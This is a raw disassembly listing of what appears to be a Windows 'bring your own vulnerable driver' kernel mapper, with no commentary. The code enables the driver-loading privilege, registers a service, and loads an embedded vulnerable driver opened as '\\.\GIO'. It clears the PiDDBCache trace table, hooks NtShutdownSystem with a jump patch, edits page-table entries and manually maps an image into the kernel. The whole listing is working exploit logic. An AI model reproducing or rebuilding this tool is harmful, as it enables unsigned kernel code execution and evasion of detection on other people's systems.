inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008391
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008490
call fcn.1400100e0
inc ebx
cmp ebx, dword [rdi]
jb 0x1400082e0
mov r8d, 0x8000
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
lea rcx, [0x140025c80]
call fcn.1400104d0
jmp 0x1400084a4
imul rax, rsi, 0x128
mov rbx, qword [rax + rdi + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rbp + 0x1b0]
cmp rdx, 0x10
jb 0x140008424
inc rdx
mov rcx, qword [rbp + 0x198]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000841f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000841f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400100e0
xor eax, eax
mov qword [rbp + 0x1a8], rax
mov qword [rbp + 0x1b0], 0xf
mov byte [rbp + 0x198], al
jmp 0x140008194
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0x10
jb 0x1400083b2
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008497
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008497
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400100e0
jmp 0x1400083b2
xor r15d, r15d
mov eax, dword [r13]
cmp dword [0x140025c88], eax
jle 0x1400084dd
lea rcx, [0x140025c88]
call fcn.140010530
cmp dword [0x140025c88], 0xffffffff
jne 0x1400084dd
call fcn.140005100
mov qword [0x140025c78], rax
lea rcx, [0x140025c88]
call fcn.1400104d0
mov eax, dword [r13]
cmp dword [0x140025c90], eax
jle 0x140008516
lea rcx, [0x140025c90]
call fcn.140010530
cmp dword [0x140025c90], 0xffffffff
jne 0x140008516
call fcn.1400056b0
mov qword [0x140025c98], rax
lea rcx, [0x140025c90]
call fcn.1400104d0
cmp qword [0x140025c78], 0
je 0x140009a6f
cmp qword [0x140025c98], 0
je 0x140009a6f
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1b8], xmm1
mov qword [rbp + 0x1c8], r15
mov ecx, 0x6677
call fcn.1400100e8
test rax, rax
je 0x140009a68
lea rcx, [rax + 0x27]
and rcx, 0xffffffffffffffe0
mov qword [rcx - 8], rax
mov qword [rbp + 0x1b8], rcx
lea rbx, [rcx + 0x6650]
mov qword [rbp + 0x1c8], rbx
mov r8d, 0x6650
lea rsi, [0x140012ac0]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp + 0x1c0], rbx
lea rdx, [rbp + 0x178]
call fcn.1400065f0
nop
lea rcx, [rbp + 0x30]
call fcn.140004fa0
nop
lea rdx, [rbp - 0x48]
mov rcx, rax
call fcn.14000af90
bts r12d, 0x15
lea rdx, [rbp + 0x178]
lea rcx, [rbp - 0x48]
call fcn.14000a930
mov qword [rbp + 0x1d0], r15
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1d0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1e0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
bts r12d, 0x16
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x140008655
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008650
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008650
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400100e0
mov qword [rbp - 0x38], r15
mov qword [rbp - 0x30], 0xf
mov byte [rbp - 0x48], 0
mov rdx, qword [rbp + 0x48]
cmp rdx, 8
jb 0x1400086a8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400086a3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400086a3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400100e0
movdqa xmm0, xmmword [0x14001ff20]
movdqu xmmword [rbp + 0x40], xmm0
mov word [rbp + 0x30], r15w
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2f0]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 0x10
cmovae rdx, qword [rbp + 0x1d0]
lea rcx, [rbp + 0x2f0]
call fcn.140009b30
nop
mov r8, qword [rbp + 0x1c0]
mov rdx, qword [rbp + 0x1b8]
sub r8, rdx
lea rcx, [rbp + 0x2f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x2f8]
call fcn.14000ac90
test rax, rax
jne 0x140008743
mov rax, qword [rbp + 0x2f0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x2f0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov qword [rbp + 0x90], r15
mov qword [rbp + 0xa0], r15
mov qword [rbp + 0xa8], 7
mov r8d, 0x15
lea rdx, str.SeLoadDriverPrivilege
lea rcx, [rbp + 0x90]
call fcn.14000ae10
mov qword [rbp + 0x60], r15
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x60]
mov edx, 0x28
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x14000879c
mov bl, 1
jmp 0x14000882a
mov qword [rbp + 0x240], r15
lea rdx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 8
cmovae rdx, qword [rbp + 0x90]
lea r8, [rbp + 0x240]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x1400087d1
mov bl, 1
jmp 0x14000882a
mov dword [rbp + 0xf0], 1
mov rax, qword [rbp + 0x240]
mov qword [rbp + 0xf4], rax
mov dword [rbp + 0xfc], 2
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
mov r9d, 0x10
lea r8, [rbp + 0xf0]
xor edx, edx
mov rcx, qword [rbp + 0x60]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x14000881e
mov bl, 1
jmp 0x14000882a
mov rcx, qword [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor bl, bl
mov rdx, qword [rbp + 0xa8]
cmp rdx, 8
jb 0x140008873
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000886e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000886e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400100e0
mov qword [rbp + 0xa0], r15
mov qword [rbp + 0xa8], 7
mov word [rbp + 0x90], r15w
test bl, bl
je 0x140008898
xor bl, bl
jmp 0x140008d91
mov rdi, qword [rbp + 0x1e0]
lea rbx, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 0x10
cmovae rbx, qword [rbp + 0x1d0]
call fcn.14000f930
mov qword [rbp + 0x130], rbx
mov qword [rbp + 0x138], rdi
lea r8, [rbp + 0x130]
mov edx, eax
lea rcx, [rsp + 0x68]
call fcn.1400040a0
or r12d, 0x1800000
mov qword [rbp - 0x28], r15
movdqa xmm0, xmmword [0x14001ff20]
movdqu xmmword [rbp - 0x18], xmm0
mov word [rbp - 0x28], r15w
bts r12d, 0x19
mov dword [rbp + 0x88], r12d
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x28]
call fcn.140004d20
test eax, eax
jne 0x140009b04
lea rdx, [rbp - 0x68]
lea rcx, [rbp - 0x28]
call fcn.14000af90
bts r12d, 0x1a
mov dword [rbp + 0x88], r12d
lea r8, [rbp - 0x68]
lea rcx, [rbp]
call fcn.14000b2f0
mov rbx, rax
mov qword [rbp + 0xd0], r15
mov qword [rbp + 0xe0], r15
mov qword [rbp + 0xe8], 0xf
mov byte [rbp + 0xd0], 0
mov r8d, 0x22
lea rdx, str.SystemCurrentControlSetServices_
lea rcx, [rbp + 0xd0]
call fcn.140002640
nop
lea rdx, [rbp + 0x178]
lea rcx, [rbp + 0xd0]
call fcn.14000a930
lea rdx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0x10
cmovae rdx, qword [rbp + 0xd0]
lea r8, [rbp + 0x58]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x140008a05
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0x10
jb 0x1400089fe
inc rdx
mov rcx, qword [rbp + 0xd0]
cmp rdx, 0x1000
mov rax, rcx
jb 0x1400089f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008b27
call fcn.1400100e0
xor bl, bl
jmp 0x140008b33
mov byte [rbp + 0x83], 1
mov edi, 4
mov dword [rsp + 0x28], edi
lea rax, [rbp + 0x83]
mov qword [rsp + 0x20], rax
mov r9d, edi
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400089bd
mov byte [rbp + 0x82], 3
mov dword [rsp + 0x28], edi
lea rax, [rbp + 0x82]
mov qword [rsp + 0x20], rax
mov r9d, edi
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400089bd
mov byte [rbp + 0x81], 3
mov dword [rsp + 0x28], edi
lea rax, [rbp + 0x81]
mov qword [rsp + 0x20], rax
mov r9d, edi
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400089bd
mov eax, dword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x140008ab5
mov rbx, qword [rbx]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
mov r9d, 1
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400089bd
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
sete bl
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0x10
jb 0x140008b33
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008b2e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008b2e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400100e0
mov byte [rbp + 0xd0], 0
mov qword [rbp + 0xe8], 0xf
mov qword [rbp + 0xe0], r15
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x140008b8a
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008b85
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008b85
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400100e0
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x18], 0xf
mov byte [rbp], 0
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x140008bd8
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008bd3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008bd3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400100e0
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x50], 0xf
mov byte [rbp - 0x68], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 8
jb 0x140008c2b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008c26
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008c26
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400100e0
movdqa xmm0, xmmword [0x14001ff20]
movdqu xmmword [rbp - 0x18], xmm0
mov word [rbp - 0x28], r15w
mov rdx, qword [rbp - 0x80]
cmp rdx, 8
jb 0x140008c7e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008c79
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008d6c
call fcn.1400100e0
movdqa xmm0, xmmword [0x14001ff20]
movdqu xmmword [rsp + 0x78], xmm0
mov word [rsp + 0x68], r15w
test bl, bl
je 0x140008d91
mov qword [rbp + 0x100], r15
mov qword [rbp + 0x110], r15
mov qword [rbp + 0x118], 0xf
mov byte [rbp + 0x100], 0
mov r8d, 0x34
lea rdx, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rbp + 0x100]
call fcn.140002640
nop
lea rdx, [rbp + 0x178]
lea rcx, [rbp + 0x100]
call fcn.14000a930
lea rdx, [rbp + 0x100]
cmp qword [rbp + 0x118], 0x10
cmovae rdx, qword [rbp + 0x100]
lea rcx, [rbp + 0x2c8]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, 1
lea rdx, [rbp + 0x2c8]
lea rcx, [rbp + 0x2d8]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
lea rcx, [rbp + 0x2d8]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
test eax, eax
sete bl
mov rdx, qword [rbp + 0x118]
cmp rdx, 0x10
jb 0x140008d78
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008d73
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008d73
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400100e0
mov qword [rbp + 0x110], r15
mov qword [rbp + 0x118], 0xf
mov byte [rbp + 0x100], 0
lea rdx, [rbp + 0x178]
lea rcx, [rbp + 0x2a0]
call fcn.140002320
mov byte [rbp + 0x2c0], bl
lea rcx, [rbp + 0x2f0]
call fcn.140006730
nop
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0x10
jb 0x140008dfb
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008df6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008df6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400100e0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], 0xf
mov byte [rbp + 0x1d0], 0
mov rdx, qword [rbp + 0x190]
cmp rdx, 0x10
jb 0x140008e58
inc rdx
mov rcx, qword [rbp + 0x178]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008e53
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008e53
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400100e0
mov qword [rbp + 0x188], r15
mov qword [rbp + 0x190], 0xf
mov byte [rbp + 0x178], 0
mov rcx, qword [rbp + 0x1b8]
test rcx, rcx
je 0x140008ec3
mov rdx, qword [rbp + 0x1c8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008eac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000908f
call fcn.1400100e0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x1b8], xmm0
mov qword [rbp + 0x1c8], r15
test bl, bl
jne 0x140008ffc
mov qword [rbp + 0xb0], r15
mov qword [rbp + 0xc0], r15
mov qword [rbp + 0xc8], 0xf
mov byte [rbp + 0xb0], bl
mov qword [rbp + 0x200], r15
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x208]
call fcn.140002320
nop
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0x10
jb 0x140008f4a
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008f44
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008f44
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400100e0
nop
mov rdx, qword [rbp + 0x2b8]
cmp rdx, 0x10
jb 0x140008f8c
inc rdx
mov rcx, qword [rbp + 0x2a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008f86
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000908f
call fcn.1400100e0
nop
cmp qword [rbp + 0x200], 0
je 0x1400099f8
cmp qword [rbp + 0x218], 0
je 0x1400099f8
lea rdx, [rbp + 0x208]
cmp qword [rbp + 0x220], 0x10
cmovae rdx, qword [rbp + 0x208]
lea rcx, str.___vulnerable_driver_loaded___s__n
call fcn.140001260
lea rcx, [rbp + 0x80]
call fcn.14000cec0
mov eax, 0x5a4d
cmp word [0x140012ac0], ax
jne 0x140009096
movsxd rax, dword [0x140012afc]
add rax, 8
add rax, rsi
jmp 0x14000909b
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, str..GIO
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x140025bf0], rax
mov qword [rbp + 0x200], rax
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp + 0x208]
call fcn.140002320
nop
mov rdx, qword [rbp + 0x2b8]
cmp rdx, 0x10
jb 0x140008f8c
inc rdx
mov rcx, qword [rbp + 0x2a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008f86
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008f86
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov eax, 4
mov r8d, dword [rax]
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0x80]
call fcn.14000e720
test al, al
jne 0x14000914b
lea rcx, str.____failed_to_clear_piddbcache_table_n
call fcn.140001260
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0x198]
call fcn.140002320
mov rbx, rax
mov qword [rsp + 0x40], rax
mov rcx, qword [rbp + 0x200]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x1400090fa
mov rcx, rbx
call fcn.140006800
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140009137
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140009132
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
jbe 0x14000912f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r8
call fcn.1400100e0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
jmp 0x140009a04
mov rbx, r14
mov r12d, dword [rsp + 0x60]
mov qword [rsp + 0x50], r12
lea rsi, [r12 + r14]
cmp r14, rsi
jae 0x1400094a2
movabs r14, 0x7ffffffffffffffd
nop
mov rdi, qword [0x140025c98]
mov eax, dword [r13]
cmp dword [0x140025b90], eax
jle 0x1400091c8
lea rcx, [0x140025b90]
call fcn.140010530
cmp dword [0x140025b90], 0xffffffff
jne 0x1400091c8
lea rcx, [0x14001fa98]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140025c50], rax
lea rcx, [0x140025b90]
call fcn.1400104d0
mov eax, dword [r13]
cmp dword [0x140025c44], eax
jle 0x140009213
lea rcx, [0x140025c44]
call fcn.140010530
cmp dword [0x140025c44], 0xffffffff
jne 0x140009213
mov edx, 2
lea rcx, [0x140025ba0]
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
lea rcx, [0x140011cc0]
call fcn.14001035c
lea rcx, [0x140025c44]
call fcn.1400104d0
lea rcx, [0x140025ba0]
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
jne 0x14000964a
mov dword [rbp - 0x78], 0x25ff
mov word [rbp - 0x74], ax
mov qword [rbp - 0x72], rdi
mov rcx, qword [0x140025bf8]
lea r8d, [rax + 0xe]
lea rdx, [rbp + 0x1f0]
call fcn.140006d80
mov rcx, qword [0x140025bf8]
mov r8d, 0xe
lea rdx, [rbp - 0x78]
call fcn.140006f20
mov rax, qword [0x140025c50]
mov rcx, rbx
call rax
mov rdi, rax
mov rcx, qword [0x140025bf8]
mov r8d, 0xe
lea rdx, [rbp + 0x1f0]
call fcn.140006f20
lea rcx, [0x140025ba0]
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov r9d, 8
mov r8, rdi
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0x80]
call fcn.14000d6b0
test al, al
jne 0x1400092c5
xor r8d, r8d
mov qword [rbp + 0x88], r8
jmp 0x1400092cc
mov r8, qword [rbp + 0x88]
shr r8, 7
and r8d, 1
mov rdx, rbx
lea rcx, str.___manipulating_page_table___p__large_page___x__n
call fcn.140001260
mov rax, qword [rbp + 0x88]
test al, al
jns 0x140009308
and rax, r14
or rax, 2
mov qword [rbp + 0x88], rax
lea r8, [rbp + 0x88]
jmp 0x14000947d
mov rdi, qword [0x140025c78]
mov eax, dword [r13]
cmp dword [0x140025b90], eax
jle 0x140009360
lea rcx, [0x140025b90]
call fcn.140010530
cmp dword [0x140025b90], 0xffffffff
jne 0x140009360
lea rcx, [0x14001fa98]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140025c50], rax
lea rcx, [0x140025b90]
call fcn.1400104d0
mov eax, dword [r13]
cmp dword [0x140025c44], eax
jle 0x1400093ab
lea rcx, [0x140025c44]
call fcn.140010530
cmp dword [0x140025c44], 0xffffffff
jne 0x1400093ab
mov edx, 2
lea rcx, [0x140025ba0]
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
lea rcx, [0x140011cc0]
call fcn.14001035c
lea rcx, [0x140025c44]
call fcn.1400104d0
lea rcx, [0x140025ba0]
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
jne 0x140009641
mov dword [rbp + 0x168], 0x25ff
mov word [rbp + 0x16c], ax
mov qword [rbp + 0x16e], rdi
mov rcx, qword [0x140025bf8]
lea r8d, [rax + 0xe]
lea rdx, [rbp + 0x130]
call fcn.140006d80
mov rcx, qword [0x140025bf8]
mov r8d, 0xe
lea rdx, [rbp + 0x168]
call fcn.140006f20
mov rax, qword [0x140025c50]
mov rcx, rbx
call rax
mov rdi, rax
mov rcx, qword [0x140025bf8]
mov r8d, 0xe
lea rdx, [rbp + 0x130]
call fcn.140006f20
lea rcx, [0x140025ba0]
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov r9d, 8
mov r8, rdi
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x80]
call fcn.14000d6b0
test al, al
jne 0x140009461
xor eax, eax
jmp 0x140009468
mov rax, qword [rbp + 0x120]
and rax, r14
or rax, 2
mov qword [rbp + 0x120], rax
lea r8, [rbp + 0x120]
mov r9d, 8
mov rdx, rdi
lea rcx, [rbp + 0x80]
call fcn.14000ddd0
add rbx, 0x1000
cmp rbx, rsi
jb 0x140009170
mov r9d, 4
mov r8d, 0x3000
mov rdx, r12
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
mov rbx, qword [rsp + 0x48]
mov r8d, dword [rbx + 0x54]
mov rdx, qword [rbp + 0x150]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rdx, r14
lea rcx, str._n___local_mapped_image_base___p__n
call fcn.140001260
movzx ecx, word [rbx + 0x14]
lea r15, [rbx + 0x18]
add r15, rcx
xor eax, eax
mov esi, eax
cmp ax, word [rbx + 6]
jae 0x140009564
lea rdi, [r15 + 0x10]
mov r13, qword [rbp + 0x20]
mov r12, rbx
mov ebx, dword [rdi - 4]
add rbx, r14
mov r8d, dword [rdi]
mov edx, dword [rdi + 4]
add rdx, qword [rbp + 0x150]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov r9d, dword [rdi - 4]
add r9, r13
movsxd rax, esi
lea rcx, [rax + rax*4]
lea rdx, [r15 + rcx*8]
mov eax, dword [rdi]
mov dword [rsp + 0x20], eax
mov r8, rbx
lea rcx, str.___mapping_section___s____p______p___0x_x__n
call fcn.140001260
inc esi
lea rdi, [rdi + 0x28]
movzx eax, word [r12 + 6]
cmp esi, eax
jl 0x140009503
mov r12, qword [rsp + 0x50]
mov r13, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x48]
lea r8, [rbp + 0x270]
cmp qword [rbp + 0x288], 0x10
cmovae r8, qword [rbp + 0x270]
mov eax, dword [rsp + 0x60]
mov dword [rsp + 0x20], eax
mov rax, qword [rbp - 8]
mov r9, qword [rax + 0x18]
mov rdx, qword [rax + 8]
lea rcx, str.___mapping___s______s__in_section___s__with_size__0x_x__n
call fcn.140001260
mov rsi, qword [rbp + 0x20]
mov rdi, rsi
sub rdi, qword [rbx + 0x30]
mov eax, 0x5a4d
xor r15d, r15d
cmp word [r14], ax
jne 0x14000973f
movsxd rax, dword [r14 + 0x3c]
cmp dword [rax + r14], 0x4550
jne 0x14000973f
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x228], xmm1
mov r11d, r15d
mov qword [rbp + 0x238], r15
mov ebx, dword [rax + r14 + 0xb0]
add rbx, r14
mov eax, dword [rbx]
mov r10, qword [rbp + 0x230]
test eax, eax
je 0x140009680
nop dword [rax + rax]
add rax, r14
mov qword [rbp + 0x68], rax
lea rax, [rbx + 8]
mov qword [rbp + 0x70], rax
mov eax, dword [rbx + 4]
sub rax, 8
shr rax, 1
mov dword [rbp + 0x78], eax
cmp r10, r11
je 0x140009653
movups xmm0, xmmword [rbp + 0x68]
movups xmmword [r10], xmm0
movsd xmm1, qword [rbp + 0x78]
movsd qword [r10 + 0x10], xmm1
add r10, 0x18
mov qword [rbp + 0x230], r10
jmp 0x140009674
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
nop
lea r8, [rbp + 0x68]
mov rdx, r10
lea rcx, [rbp + 0x228]
call fcn.140002ba0
mov r11, qword [rbp + 0x238]
mov r10, qword [rbp + 0x230]
mov eax, dword [rbx + 4]
add rbx, rax
mov eax, dword [rbx]
test eax, eax
jne 0x140009600
mov rbx, qword [rbp + 0x228]
cmp rbx, r10
je 0x1400096df
